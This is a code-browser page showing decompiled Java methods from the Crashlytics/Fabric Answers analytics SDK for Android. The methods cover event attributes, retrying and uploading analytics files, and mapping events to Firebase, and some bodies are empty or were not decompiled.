        this.predefinedAttributes.put(CURRENCY_ATTRIBUTE, currency.getCurrencyCode());
    }
    return this;
}



37
38
39
40
41
42

priceToMicros

Java Code
long priceToMicros(BigDecimal decimal) {
    return MICRO_CONSTANT.multiply(decimal).longValue();
}



44
45
46

getPredefinedType

Java Code
String getPredefinedType() {
    return TYPE;
}



48
49
50

build

Java Code
public static AnswersRetryFilesSender build(SessionAnalyticsFilesSender filesSender) {
    return new AnswersRetryFilesSender(filesSender, new RetryManager(new RetryState(new RandomBackoff(new ExponentialBackoff(1000, 8), JITTER_PERCENT), new DefaultRetryPolicy(5))));
}



18
19
20

AnswersRetryFilesSender

Java Code
AnswersRetryFilesSender(SessionAnalyticsFilesSender filesSender, RetryManager retryManager) {
    this.filesSender = filesSender;
    this.retryManager = retryManager;
}



22
23
24
25

send

Java Code
public boolean send(List<File> files) {
    long currentNanoTime = System.nanoTime();
    if (!this.retryManager.canRetry(currentNanoTime)) {
        return false;
    }
    if (this.filesSender.send(files)) {
        this.retryManager.reset();
        return true;
    }
    this.retryManager.recordRetry(currentNanoTime);
    return false;
}



27
28
29
30
31
32
33
34
35
36
37
38

RetryManager

Java Code
public RetryManager(RetryState retryState) {
    if (retryState == null) {
        throw new NullPointerException("retryState must not be null");
    }
    this.retryState = retryState;
}



10
11
12
13
14
15

canRetry

Java Code
public boolean canRetry(long timeNanos) {
    return timeNanos - this.lastRetry >= NANOSECONDS_IN_MS * this.retryState.getRetryDelay();
}



17
18
19

recordRetry

Java Code
public void recordRetry(long timeNanos) {
    this.lastRetry = timeNanos;
    this.retryState = this.retryState.nextRetryState();
}



21
22
23
24

reset

Java Code
public void reset() {
    this.lastRetry = 0;
    this.retryState = this.retryState.initialRetryState();
}



26
27
28
29

FirebaseAnalyticsApiAdapter

Java Code
public FirebaseAnalyticsApiAdapter(Context context) {
    this(context, new FirebaseAnalyticsEventMapper());
}



11
12
13

FirebaseAnalyticsApiAdapter

Java Code
public FirebaseAnalyticsApiAdapter(Context context, FirebaseAnalyticsEventMapper eventMapper) {
    this.context = context;
    this.eventMapper = eventMapper;
}



15
16
17
18

getFirebaseAnalytics

Java Code
public EventLogger getFirebaseAnalytics() {
    if (this.eventLogger == null) {
        this.eventLogger = AppMeasurementEventLogger.getEventLogger(this.context);
    }
    return this.eventLogger;
}



20
21
22
23
24
25

processEvent

Java Code
public void processEvent(SessionEvent sessionEvent) {
    EventLogger eventLogger = getFirebaseAnalytics();
    if (eventLogger == null) {
        Fabric.getLogger().d(Answers.TAG, "Firebase analytics logging was enabled, but not available...");
        return;
    }
    FirebaseAnalyticsEvent mappedEvent = this.eventMapper.mapEvent(sessionEvent);
    if (mappedEvent == null) {
        Fabric.getLogger().d(Answers.TAG, "Fabric event was not mappable to Firebase event: " + sessionEvent);
        return;
    }
    eventLogger.logEvent(mappedEvent.getEventName(), mappedEvent.getEventParams());
    if ("levelEnd".equals(sessionEvent.predefinedType)) {
        eventLogger.logEvent("post_score", mappedEvent.getEventParams());
    }
}



27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

<clinit>

Java Code



getCustomAttributes

Java Code
Map<String, Object> getCustomAttributes() {
    return this.customAttributes.attributes;
}



12
13
14

putCustomAttribute

Java Code
public T putCustomAttribute(String key, String value) {
    this.customAttributes.put(key, value);
    return this;
}



16
17
18
19

putCustomAttribute

Java Code
public T putCustomAttribute(String key, Number value) {
    this.customAttributes.put(key, value);
    return this;
}



21
22
23
24

SessionAnalyticsFilesSender

Java Code
public SessionAnalyticsFilesSender(Kit kit, String protocolAndHostOverride, String url, HttpRequestFactory requestFactory, String apiKey) {
    super(kit, protocolAndHostOverride, url, requestFactory, HttpMethod.POST);
    this.apiKey = apiKey;
}



19
20
21
22

send

Java Code
public boolean send(List<File> files) {
    HttpRequest httpRequest = getHttpRequest().header(AbstractSpiCall.HEADER_CLIENT_TYPE, AbstractSpiCall.ANDROID_CLIENT_TYPE).header(AbstractSpiCall.HEADER_CLIENT_VERSION, this.kit.getVersion()).header(AbstractSpiCall.HEADER_API_KEY, this.apiKey);
    int i = 0;
    for (File file : files) {
        httpRequest.part(FILE_PARAM_NAME + i, file.getName(), FILE_CONTENT_TYPE, file);
        i++;
    }
    Fabric.getLogger().d(Answers.TAG, "Sending " + files.size() + " analytics files to " + getUrl());
    int statusCode = httpRequest.code();
    Fabric.getLogger().d(Answers.TAG, "Response code for analytics file send is " + statusCode);
    return ResponseParser.parse(statusCode) == 0;
}



24
25
26
27
28
29
30
31
32
33
34
35

AnswersLifecycleCallbacks

Java Code
public AnswersLifecycleCallbacks(SessionAnalyticsManager analyticsManager, BackgroundManager backgroundManager) {
    this.analyticsManager = analyticsManager;
    this.backgroundManager = backgroundManager;
}



11
12
13
14

onActivityCreated

Java Code



onActivityStarted

Java Code
public void onActivityStarted(Activity activity) {
    this.analyticsManager.onLifecycle(activity, Type.START);
}



19
20
21

onActivityResumed

Java Code
public void onActivityResumed(Activity activity) {
    this.analyticsManager.onLifecycle(activity, Type.RESUME);
    this.backgroundManager.onActivityResumed();
}



23
24
25
26

onActivityPaused

Java Code
public void onActivityPaused(Activity activity) {
    this.analyticsManager.onLifecycle(activity, Type.PAUSE);
    this.backgroundManager.onActivityPaused();
}



28
29
30
31

onActivityStopped

Java Code
public void onActivityStopped(Activity activity) {
    this.analyticsManager.onLifecycle(activity, Type.STOP);
}



33
34
35

onActivitySaveInstanceState

Java Code



onActivityDestroyed

Java Code



<clinit>

Java Code



SamplingEventFilter

Java Code
public SamplingEventFilter(int samplingRate) {
    this.samplingRate = samplingRate;
}



17
18
19

skipEvent

Java Code
public boolean skipEvent(SessionEvent sessionEvent) {
    boolean canBeSampled;
    if (EVENTS_TYPE_TO_SAMPLE.contains(sessionEvent.type) && sessionEvent.sessionEventMetadata.betaDeviceToken == null) {
        canBeSampled = true;
    } else {
        canBeSampled = false;
    }
    boolean isSampledId;
    if (Math.abs(sessionEvent.sessionEventMetadata.installationId.hashCode() % this.samplingRate) != 0) {
        isSampledId = true;
    } else {
        isSampledId = false;
    }
    if (canBeSampled && isSampledId) {
        return true;
    }
    return false;
}



21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

getEventLogger

Java Code
public static EventLogger getEventLogger(Context context) {
    Class instanceClass = getClass(context);
    if (instanceClass == null) {
        return null;
    }
    Object instance = getInstance(context, instanceClass);
    if (instance == null) {
        return null;
    }
    Method logEventMethod = getLogEventMethod(context, instanceClass);
    if (logEventMethod != null) {
        return new AppMeasurementEventLogger(instance, logEventMethod);
    }
    return null;
}



14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

getClass

Java Code
private static Class getClass(Context context) {
    try {
        return context.getClassLoader().loadClass(ANALYTIC_CLASS);
    } catch (Exception e) {
        return null;
    }
}



30
31
32
33
34
35
36

getInstance

Java Code
private static Object getInstance(Context context, Class instanceClass) {
    try {
        return instanceClass.getDeclaredMethod(GET_INSTANCE_METHOD, new Class[]{Context.class}).invoke(instanceClass, new Object[]{context});
    } catch (Exception e) {
        return null;
    }
}



38
39
40
41
42
43
44

getLogEventMethod

Java Code
private static Method getLogEventMethod(Context context, Class instanceClass) {
    try {
        return instanceClass.getDeclaredMethod(LOG_METHOD, new Class[]{String.class, String.class, Bundle.class});
    } catch (Exception e) {
        return null;
    }
}



46
47
48
49
50
51
52

AppMeasurementEventLogger

Java Code
public AppMeasurementEventLogger(Object logEventInstance, Method logEventMethod) {
    this.logEventInstance = logEventInstance;
    this.logEventMethod = logEventMethod;
}



54
55
56
57

logEvent

Java Code
public void logEvent(String eventName, Bundle metadata) {
    logEvent("fab", eventName, metadata);
}



59
60
61

logEvent

Java Code
public void logEvent(String origin, String eventName, Bundle metadata) {
    try {
        this.logEventMethod.invoke(this.logEventInstance, new Object[]{origin, eventName, metadata});
    } catch (Exception e) {
    }
}



63
64
65
66
67
68

AnswersFilesManagerProvider

Java Code
public AnswersFilesManagerProvider(Context context, FileStore fileStore) {
    this.context = context;
    this.fileStore = fileStore;
}



16
17
18
19

getAnalyticsFilesManager

Java Code
public SessionAnalyticsFilesManager getAnalyticsFilesManager() throws IOException {
    if (Looper.myLooper() == Looper.getMainLooper()) {
        throw new IllegalStateException("AnswersFilesManagerProvider cannot be called on the main thread");
    }
    return new SessionAnalyticsFilesManager(this.context, new SessionEventTransform(), new SystemCurrentTimeProvider(), new GZIPQueueFileEventStorage(this.context, this.fileStore.getFilesDir(), SESSION_ANALYTICS_FILE_NAME, SESSION_ANALYTICS_TO_SEND_DIR));
}



21
22
23
24
25
26

putLevelName

Java Code
public LevelStartEvent putLevelName(String levelName) {
    this.predefinedAttributes.put(LEVEL_NAME_ATTRIBUTE, levelName);
    return this;
}



7
8
9
10

getPredefinedType

Java Code
String getPredefinedType() {
    return TYPE;
}



12
13
14

AnswersAttributes

Java Code
public AnswersAttributes(AnswersEventValidator validator) {
    this.validator = validator;
}



11
12
13

put

Java Code
void put(String key, String value) {
    if (!this.validator.isNull(key, "key") && !this.validator.isNull(value, "value")) {
        putAttribute(this.validator.limitStringLength(key), this.validator.limitStringLength(value));
    }
}



15
16
17
18
19

put

Java Code
void put(String key, Number value) {
    if (!this.validator.isNull(key, "key") && !this.validator.isNull(value, "value")) {
        putAttribute(this.validator.limitStringLength(key), value);
    }
}



21
22
23
24
25

putAttribute

Java Code
void putAttribute(String key, Object value) {
    if (!this.validator.isFullMap(this.attributes, key)) {
        this.attributes.put(key, value);
    }
}



27
28
29
30
31

toString

Java Code
public String toString() {
    return new JSONObject(this.attributes).toString();
}



33
34
35

putMethod

Java Code
public ShareEvent putMethod(String shareMethod) {
    this.predefinedAttributes.put(METHOD_ATTRIBUTE, shareMethod);
    return this;
}



10
11
12
13

putContentId

Java Code
public ShareEvent putContentId(String contentId) {
    this.predefinedAttributes.put(CONTENT_ID_ATTRIBUTE, contentId);
    return this;
}



15
16
17
18

putContentName

Java Code
public ShareEvent putContentName(String contentName) {
    this.predefinedAttributes.put(CONTENT_NAME_ATTRIBUTE, contentName);
    return this;
}



20
21
22
23

putContentType

Java Code
public ShareEvent putContentType(String contentType) {
    this.predefinedAttributes.put(CONTENT_TYPE_ATTRIBUTE, contentType);
    return this;
}



25
26
27
28

getPredefinedType

Java Code
String getPredefinedType() {
    return TYPE;
}



30
31
32

SessionEventMetadata

Java Code
public SessionEventMetadata(String appBundleId, String executionId, String installationId, String androidId, String advertisingId, Boolean limitAdTrackingEnabled, String betaDeviceToken, String buildId, String osVersion, String deviceModel, String appVersionCode, String appVersionName) {
    this.appBundleId = appBundleId;
    this.executionId = executionId;
    this.installationId = installationId;
    this.androidId = androidId;
    this.advertisingId = advertisingId;
    this.limitAdTrackingEnabled = limitAdTrackingEnabled;
    this.betaDeviceToken = betaDeviceToken;
    this.buildId = buildId;
    this.osVersion = osVersion;
    this.deviceModel = deviceModel;
    this.appVersionCode = appVersionCode;
    this.appVersionName = appVersionName;
}



18
19
20
21
22
23
24
25
26
27
28
29
30
31

toString

Java Code
public String toString() {
    if (this.stringRepresentation == null) {
        this.stringRepresentation = "appBundleId=" + this.appBundleId + ", executionId=" + this.executionId + ", installationId=" + this.installationId + ", androidId=" + this.androidId + ", advertisingId=" + this.advertisingId + ", limitAdTrackingEnabled=" + this.limitAdTrackingEnabled + ", betaDeviceToken=" + this.betaDeviceToken + ", buildId=" + this.buildId + ", osVersion=" + this.osVersion + ", deviceModel=" + this.deviceModel + ", appVersionCode=" + this.appVersionCode + ", appVersionName=" + this.appVersionName;
    }
    return this.stringRepresentation;
}



33
34
35
36
37
38

build

Java Code
public static SessionAnalyticsManager build(Kit kit, Context context, IdManager idManager, String versionCode, String versionName, long installedAt) {
    SessionMetadataCollector metadataCollector = new SessionMetadataCollector(context, idManager, versionCode, versionName);
    AnswersFilesManagerProvider filesManagerProvider = new AnswersFilesManagerProvider(context, new FileStoreImpl(kit));
    DefaultHttpRequestFactory httpRequestFactory = new DefaultHttpRequestFactory(Fabric.getLogger());
    ActivityLifecycleManager lifecycleManager = new ActivityLifecycleManager(context);
    ScheduledExecutorService executorService = ExecutorUtils.buildSingleThreadScheduledExecutorService(EXECUTOR_SERVICE);
    BackgroundManager backgroundManager = new BackgroundManager(executorService);
    return new SessionAnalyticsManager(new AnswersEventsHandler(kit, context, filesManagerProvider, metadataCollector, httpRequestFactory, executorService, new FirebaseAnalyticsApiAdapter(context)), lifecycleManager, backgroundManager, AnswersPreferenceManager.build(context), installedAt);
}



26
27
28
29
30
31
32
33
34

SessionAnalyticsManager

Java Code
SessionAnalyticsManager(AnswersEventsHandler eventsHandler, ActivityLifecycleManager lifecycleManager, BackgroundManager backgroundManager, AnswersPreferenceManager preferenceManager, long installedAt) {
    this.eventsHandler = eventsHandler;
    this.lifecycleManager = lifecycleManager;
    this.backgroundManager = backgroundManager;
    this.preferenceManager = preferenceManager;
    this.installedAt = installedAt;
}



36
37
38
39
40
41
42

enable

Java Code
public void enable() {
    this.eventsHandler.enable();
    this.lifecycleManager.registerCallbacks(new AnswersLifecycleCallbacks(this, this.backgroundManager));
    this.backgroundManager.registerListener(this);
    if (isFirstLaunch()) {
        onInstall(this.installedAt);
        this.preferenceManager.setAnalyticsLaunched();
    }
}



44
45
46
47
48
49
50
51
52

disable

Java Code
public void disable() {
    this.lifecycleManager.resetCallbacks();
    this.eventsHandler.disable();
}



54
55
56
57

onCustom

Java Code
public void onCustom(CustomEvent event) {
    Fabric.getLogger().d(Answers.TAG, "Logged custom event: " + event);
    this.eventsHandler.processEventAsync(SessionEvent.customEventBuilder(event));
}



59
60
61
62

onPredefined

Java Code
public void onPredefined(PredefinedEvent event) {
    Fabric.getLogger().d(Answers.TAG, "Logged predefined event: " + event);
    this.eventsHandler.processEventAsync(SessionEvent.predefinedEventBuilder(event));
}



64
65
66
67

onCrash

Java Code
public void onCrash(String sessionId, String exceptionName) {
    if (Looper.myLooper() == Looper.getMainLooper()) {
        throw new IllegalStateException(ON_CRASH_ERROR_MSG);
    }
    Fabric.getLogger().d(Answers.TAG, "Logged crash");
    this.eventsHandler.processEventSync(SessionEvent.crashEventBuilder(sessionId, exceptionName));
}



69
70
71
72
73
74
75

onError

Java Code



onInstall

Java Code
public void onInstall(long installedAt) {
    Fabric.getLogger().d(Answers.TAG, "Logged install");
    this.eventsHandler.processEventAsyncAndFlush(SessionEvent.installEventBuilder(installedAt));
}



80
81
82
83

onLifecycle

Java Code
public void onLifecycle(Activity activity, Type type) {
    Fabric.getLogger().d(Answers.TAG, "Logged lifecycle event: " + type.name());
    this.eventsHandler.processEventAsync(SessionEvent.lifecycleEventBuilder(type, activity));
}



85
86
87
88

onBackground

Java Code
public void onBackground() {
    Fabric.getLogger().d(Answers.TAG, "Flush events when app is backgrounded");
    this.eventsHandler.flushEvents();
}



90
91
92
93

setAnalyticsSettingsData

Java Code
public void setAnalyticsSettingsData(AnalyticsSettingsData analyticsSettingsData, String protocolAndHostOverride) {
    this.backgroundManager.setFlushOnBackground(analyticsSettingsData.flushOnBackground);
    this.eventsHandler.setAnalyticsSettingsData(analyticsSettingsData, protocolAndHostOverride);
}



95
96
97
98

isFirstLaunch

Java Code
boolean isFirstLaunch() {
    return !this.preferenceManager.hasAnalyticsLaunched();
}



100
101
102

RandomBackoff

Java Code
public RandomBackoff(Backoff backoff, double jitterPercent) {
    this(backoff, jitterPercent, new Random());
}



11
12
13

RandomBackoff

Java Code
public RandomBackoff(Backoff backoff, double jitterPercent, Random random) {
    if (jitterPercent < 0.0d || jitterPercent > 1.0d) {
        throw new IllegalArgumentException("jitterPercent must be between 0.0 and 1.0");
    } else if (backoff == null) {
        throw new NullPointerException("backoff must not be null");
    } else if (random == null) {
        throw new NullPointerException("random must not be null");
    } else {
        this.backoff = backoff;
        this.jitterPercent = jitterPercent;
        this.random = random;
    }
}



15
16
17
18
19
20
21
22
23
24
25
26
27

getDelayMillis

Java Code
public long getDelayMillis(int retries) {
    return (long) (randomJitter() * ((double) this.backoff.getDelayMillis(retries)));
}



29
30
31

randomJitter

Java Code
double randomJitter() {
    double minJitter = 1.0d - this.jitterPercent;
    double maxJitter = 1.0d + this.jitterPercent;
    return ((maxJitter - minJitter) * this.random.nextDouble()) + minJitter;
}



33
34
35
36
37

putQuery

Java Code
public SearchEvent putQuery(String query) {
    this.predefinedAttributes.put(QUERY_ATTRIBUTE, query);
    return this;
}



7
8
9
10

getPredefinedType

Java Code
String getPredefinedType() {
    return TYPE;
}



12
13
14

skipEvent

Java Code



<clinit>

Java Code



mapEvent

Java Code
public FirebaseAnalyticsEvent mapEvent(SessionEvent event) {
    boolean isCustomEvent;
    boolean isPredefinedEvent;
    if (!Type.CUSTOM.equals(event.type) || event.customType == null) {
        isCustomEvent = false;
    } else {
        isCustomEvent = true;
    }
    if (!Type.PREDEFINED.equals(event.type) || event.predefinedType == null) {
        isPredefinedEvent = false;
    } else {
        isPredefinedEvent = true;
    }
    if (!isCustomEvent && !isPredefinedEvent) {
        return null;
    }
    Bundle bundle;
    String eventName;
    if (isPredefinedEvent) {
        bundle = mapPredefinedEvent(event);
    } else {
        bundle = new Bundle();
        if (event.customAttributes != null) {
            mapCustomEventAttributes(bundle, event.customAttributes);
        }
    }
    if (isPredefinedEvent) {
        boolean wasFailedEvent;
        String successBoolean = (String) event.predefinedAttributes.get(FIREBASE_SUCCESS);
        if (successBoolean == null || Boolean.parseBoolean(successBoolean)) {
            wasFailedEvent = false;
        } else {
            wasFailedEvent = true;
        }
        eventName = mapPredefinedEventName(event.predefinedType, wasFailedEvent);
    } else {
        eventName = mapCustomEventName(event.customType);
    }
    Fabric.getLogger().d(Answers.TAG, "Logging event into firebase...");
    return new FirebaseAnalyticsEvent(eventName, bundle);
}



20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

mapCustomEventName

Java Code
private String mapCustomEventName(String eventName) {
    if (eventName == null || eventName.length() == 0) {
        return "fabric_unnamed_event";
    }
    if (EVENT_NAMES.contains(eventName)) {
        return "fabric_" + eventName;
    }
    eventName = eventName.replaceAll("[^\\p{Alnum}_]+", EventsFilesManager.ROLL_OVER_FILE_NAME_SEPARATOR);
    if (eventName.startsWith("ga_") || eventName.startsWith("google_") || eventName.startsWith("firebase_") || !Character.isLetter(eventName.charAt(0))) {
        eventName = "fabric_" + eventName;
    }
    if (eventName.length() > 40) {
        eventName = eventName.substring(0, 40);
    }
    return eventName;
}



62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77

mapAttribute

Java Code
private String mapAttribute(String attributeName) {
    if (attributeName == null || attributeName.length() == 0) {
        return "fabric_unnamed_parameter";
    }
    attributeName = attributeName.replaceAll("[^\\p{Alnum}_]+", EventsFilesManager.ROLL_OVER_FILE_NAME_SEPARATOR);
    if (attributeName.startsWith("ga_") || attributeName.startsWith("google_") || attributeName.startsWith("firebase_") || !Character.isLetter(attributeName.charAt(0))) {
        attributeName = "fabric_" + attributeName;
    }
    return attributeName.length() > 40 ? attributeName.substring(0, 40) : attributeName;
}



79
80
81
82
83
84
85
86
87
88

mapPredefinedEventName

Java Code
private java.lang.String mapPredefinedEventName(java.lang.String r6, boolean r7) {
    /*
    r5 = this;
    r3 = 2;
    r2 = 1;
    r0 = 0;
    r1 = -1;
    if (r7 == 0) goto L_0x0011;
L_0x0006:
    r4 = r6.hashCode();
    switch(r4) {
        case -902468296: goto L_0x002b;
        case 103149417: goto L_0x0035;
        case 1743324417: goto L_0x0021;
        default: goto L_0x000d;
    };
L_0x000d:
    r4 = r1;
L_0x000e:
    switch(r4) {
        case 0: goto L_0x003f;
        case 1: goto L_0x0042;
        case 2: goto L_0x0045;
        default: goto L_0x0011;
    };
L_0x0011:
    r4 = r6.hashCode();
    switch(r4) {
        case -2131650889: goto L_0x00bb;
        case -1183699191: goto L_0x00a3;
        case -938102371: goto L_0x0083;
        case -906336856: goto L_0x006f;
        case -902468296: goto L_0x008d;
        case -389087554: goto L_0x0065;
        case 23457852: goto L_0x0051;
        case 103149417: goto L_0x0097;
        case 109400031: goto L_0x0079;
        case 196004670: goto L_0x00af;
        case 1664021448: goto L_0x005b;
        case 1743324417: goto L_0x0048;
        default: goto L_0x0018;
    };
L_0x0018:
    r0 = r1;
L_0x0019:
    switch(r0) {
        case 0: goto L_0x00c7;
        case 1: goto L_0x00cb;
        case 2: goto L_0x00cf;
        case 3: goto L_0x00d3;
        case 4: goto L_0x00d7;
        case 5: goto L_0x00db;
        case 6: goto L_0x00df;
        case 7: goto L_0x00e3;
        case 8: goto L_0x00e7;
        case 9: goto L_0x00eb;
        case 10: goto L_0x00ef;
        case 11: goto L_0x00f3;
        default: goto L_0x001c;
    };
L_0x001c:
    r0 = r5.mapCustomEventName(r6);
L_0x0020:
    return r0;
L_0x0021:
    r4 = "purchase";
    r4 = r6.equals(r4);
    if (r4 == 0) goto L_0x000d;
L_0x0029:
    r4 = r0;
    goto L_0x000e;
L_0x002b:
    r4 = "signUp";
    r4 = r6.equals(r4);
    if (r4 == 0) goto L_0x000d;
L_0x0033:
    r4 = r2;
    goto L_0x000e;
L_0x0035:
    r4 = "login";
    r4 = r6.equals(r4);
    if (r4 == 0) goto L_0x000d;
L_0x003d:
    r4 = r3;
    goto L_0x000e;
L_0x003f:
    r0 = "failed_ecommerce_purchase";
    goto L_0x0020;
L_0x0042:
    r0 = "failed_sign_up";
    goto L_0x0020;
L_0x0045:
    r0 = "failed_login";
    goto L_0x0020;
L_0x0048:
    r2 = "purchase";
    r2 = r6.equals(r2);
    if (r2 == 0) goto L_0x0018;
L_0x0050:
    goto L_0x0019;
L_0x0051:
    r0 = "addToCart";
    r0 = r6.equals(r0);
    if (r0 == 0) goto L_0x0018;
L_0x0059:
    r0 = r2;
    goto L_0x0019;
L_0x005b:
    r0 = "startCheckout";
    r0 = r6.equals(r0);
    if (r0 == 0) goto L_0x0018;
L_0x0063:
    r0 = r3;
    goto L_0x0019;
L_0x0065:
    r0 = "contentView";
    r0 = r6.equals(r0);
    if (r0 == 0) goto L_0x0018;
L_0x006d:
    r0 = 3;
    goto L_0x0019;
L_0x006f:
    r0 = "search";
    r0 = r6.equals(r0);
    if (r0 == 0) goto L_0x0018;
L_0x0077:
    r0 = 4;
    goto L_0x0019;
L_0x0079:
    r0 = "share";
    r0 = r6.equals(r0);
    if (r0 == 0) goto L_0x0018;
L_0x0081:
    r0 = 5;
    goto L_0x0019;
L_0x0083:
    r0 = "rating";
    r0 = r6.equals(r0);
    if (r0 == 0) goto L_0x0018;
L_0x008b:
    r0 = 6;
    goto L_0x0019;
L_0x008d:
    r0 = "signUp";
    r0 = r6.equals(r0);
    if (r0 == 0) goto L_0x0018;
L_0x0095:
    r0 = 7;
    goto L_0x0019;
L_0x0097:
    r0 = "login";
    r0 = r6.equals(r0);
    if (r0 == 0) goto L_0x0018;
L_0x009f:
    r0 = 8;
    goto L_0x0019;
L_0x00a3:
    r0 = "invite";
    r0 = r6.equals(r0);
    if (r0 == 0) goto L_0x0018;
L_0x00ab:
    r0 = 9;
    goto L_0x0019;
L_0x00af:
    r0 = "levelStart";
    r0 = r6.equals(r0);
    if (r0 == 0) goto L_0x0018;
L_0x00b7:
    r0 = 10;
    goto L_0x0019;
L_0x00bb:
    r0 = "levelEnd";
    r0 = r6.equals(r0);
    if (r0 == 0) goto L_0x0018;
L_0x00c3:
    r0 = 11;
    goto L_0x0019;
L_0x00c7:
    r0 = "ecommerce_purchase";
    goto L_0x0020;
L_0x00cb:
    r0 = "add_to_cart";
    goto L_0x0020;
L_0x00cf:
    r0 = "begin_checkout";
    goto L_0x0020;
L_0x00d3:
    r0 = "select_content";
    goto L_0x0020;
L_0x00d7:
    r0 = "search";
    goto L_0x0020;
L_0x00db:
    r0 = "share";
    goto L_0x0020;
L_0x00df:
    r0 = "rate_content";
    goto L_0x0020;
L_0x00e3:
    r0 = "sign_up";
    goto L_0x0020;
L_0x00e7:
    r0 = "login";
    goto L_0x0020;
L_0x00eb:
    r0 = "invite";
    goto L_0x0020;
L_0x00ef:
    r0 = "level_start";
    goto L_0x0020;
L_0x00f3:
    r0 = "level_end";
    goto L_0x0020;
    */
    throw new UnsupportedOperationException("Method not decompiled: com.crashlytics.android.answers.FirebaseAnalyticsEventMapper.mapPredefinedEventName(java.lang.String, boolean):java.lang.String");
}



92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307

mapPredefinedEvent

Java Code
private Bundle mapPredefinedEvent(SessionEvent event) {
    Bundle bundle = new Bundle();
    if ("purchase".equals(event.predefinedType)) {
        putString(bundle, "item_id", (String) event.predefinedAttributes.get("itemId"));
        putString(bundle, "item_name", (String) event.predefinedAttributes.get("itemName"));
        putString(bundle, "item_category", (String) event.predefinedAttributes.get("itemType"));
        putDouble(bundle, "value", mapPriceValue(event.predefinedAttributes.get("itemPrice")));
        putString(bundle, "currency", (String) event.predefinedAttributes.get("currency"));
    } else if ("addToCart".equals(event.predefinedType)) {
        putString(bundle, "item_id", (String) event.predefinedAttributes.get("itemId"));
        putString(bundle, "item_name", (String) event.predefinedAttributes.get("itemName"));
        putString(bundle, "item_category", (String) event.predefinedAttributes.get("itemType"));
        putDouble(bundle, "price", mapPriceValue(event.predefinedAttributes.get("itemPrice")));
        putDouble(bundle, "value", mapPriceValue(event.predefinedAttributes.get("itemPrice")));
        putString(bundle, "currency", (String) event.predefinedAttributes.get("currency"));
        bundle.putLong("quantity", 1);
    } else if ("startCheckout".equals(event.predefinedType)) {
        putLong(bundle, "quantity", Long.valueOf((long) ((Integer) event.predefinedAttributes.get("itemCount")).intValue()));
        putDouble(bundle, "value", mapPriceValue(event.predefinedAttributes.get("totalPrice")));
        putString(bundle, "currency", (String) event.predefinedAttributes.get("currency"));
    } else if ("contentView".equals(event.predefinedType)) {
        putString(bundle, "content_type", (String) event.predefinedAttributes.get("contentType"));
        putString(bundle, "item_id", (String) event.predefinedAttributes.get("contentId"));
        putString(bundle, "item_name", (String) event.predefinedAttributes.get("contentName"));
    } else if ("search".equals(event.predefinedType)) {
        putString(bundle, "search_term", (String) event.predefinedAttributes.get("query"));
    } else if ("share".equals(event.predefinedType)) {
        putString(bundle, FIREBASE_METHOD, (String) event.predefinedAttributes.get(FIREBASE_METHOD));
        putString(bundle, "content_type", (String) event.predefinedAttributes.get("contentType"));
        putString(bundle, "item_id", (String) event.predefinedAttributes.get("contentId"));
        putString(bundle, "item_name", (String) event.predefinedAttributes.get("contentName"));
    } else if (FIREBASE_RATING.equals(event.predefinedType)) {
        putString(bundle, FIREBASE_RATING, String.valueOf(event.predefinedAttributes.get(FIREBASE_RATING)));
        putString(bundle, "content_type", (String) event.predefinedAttributes.get("contentType"));
        putString(bundle, "item_id", (String) event.predefinedAttributes.get("contentId"));
        putString(bundle, "item_name", (String) event.predefinedAttributes.get("contentName"));
    } else if ("signUp".equals(event.predefinedType)) {
        putString(bundle, FIREBASE_METHOD, (String) event.predefinedAttributes.get(FIREBASE_METHOD));
    } else if ("login".equals(event.predefinedType)) {
        putString(bundle, FIREBASE_METHOD, (String) event.predefinedAttributes.get(FIREBASE_METHOD));
    } else if ("invite".equals(event.predefinedType)) {
        putString(bundle, FIREBASE_METHOD, (String) event.predefinedAttributes.get(FIREBASE_METHOD));
    } else if ("levelStart".equals(event.predefinedType)) {
        putString(bundle, FIREBASE_LEVEL_NAME, (String) event.predefinedAttributes.get("levelName"));
    } else if ("levelEnd".equals(event.predefinedType)) {
        putDouble(bundle, "score", mapDouble(event.predefinedAttributes.get("score")));
        putString(bundle, FIREBASE_LEVEL_NAME, (String) event.predefinedAttributes.get("levelName"));
        putInt(bundle, FIREBASE_SUCCESS, mapBooleanValue((String) event.predefinedAttributes.get(FIREBASE_SUCCESS)));
    }
    mapCustomEventAttributes(bundle, event.customAttributes);
    return bundle;
}



309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360

putLong

Java Code
private void putLong(Bundle bundle, String param, Long longValue) {
    if (longValue != null) {
        bundle.putLong(param, longValue.longValue());
    }
}



362
363
364
365
366

putInt

Java Code
private void putInt(Bundle bundle, String param, Integer intValue) {
    if (intValue != null) {
        bundle.putInt(param, intValue.intValue());
    }
}



368
369
370
371
372

putString

Java Code
private void putString(Bundle bundle, String param, String stringValue) {
    if (stringValue != null) {
        bundle.putString(param, stringValue);
    }
}



374
375
376
377
378

putDouble

Java Code
private void putDouble(Bundle bundle, String param, Double doubleValue) {
    Double mappedDouble = mapDouble(doubleValue);
    if (mappedDouble != null) {
        bundle.putDouble(param, mappedDouble.doubleValue());
    }
}



380
381
382
383
384
385

mapDouble

Java Code
private Double mapDouble(Object doubleObj) {
    String doubleString = String.valueOf(doubleObj);
    if (doubleString == null) {
        return null;
    }
    return Double.valueOf(doubleString);
}



387
388
389
390
391
392
393

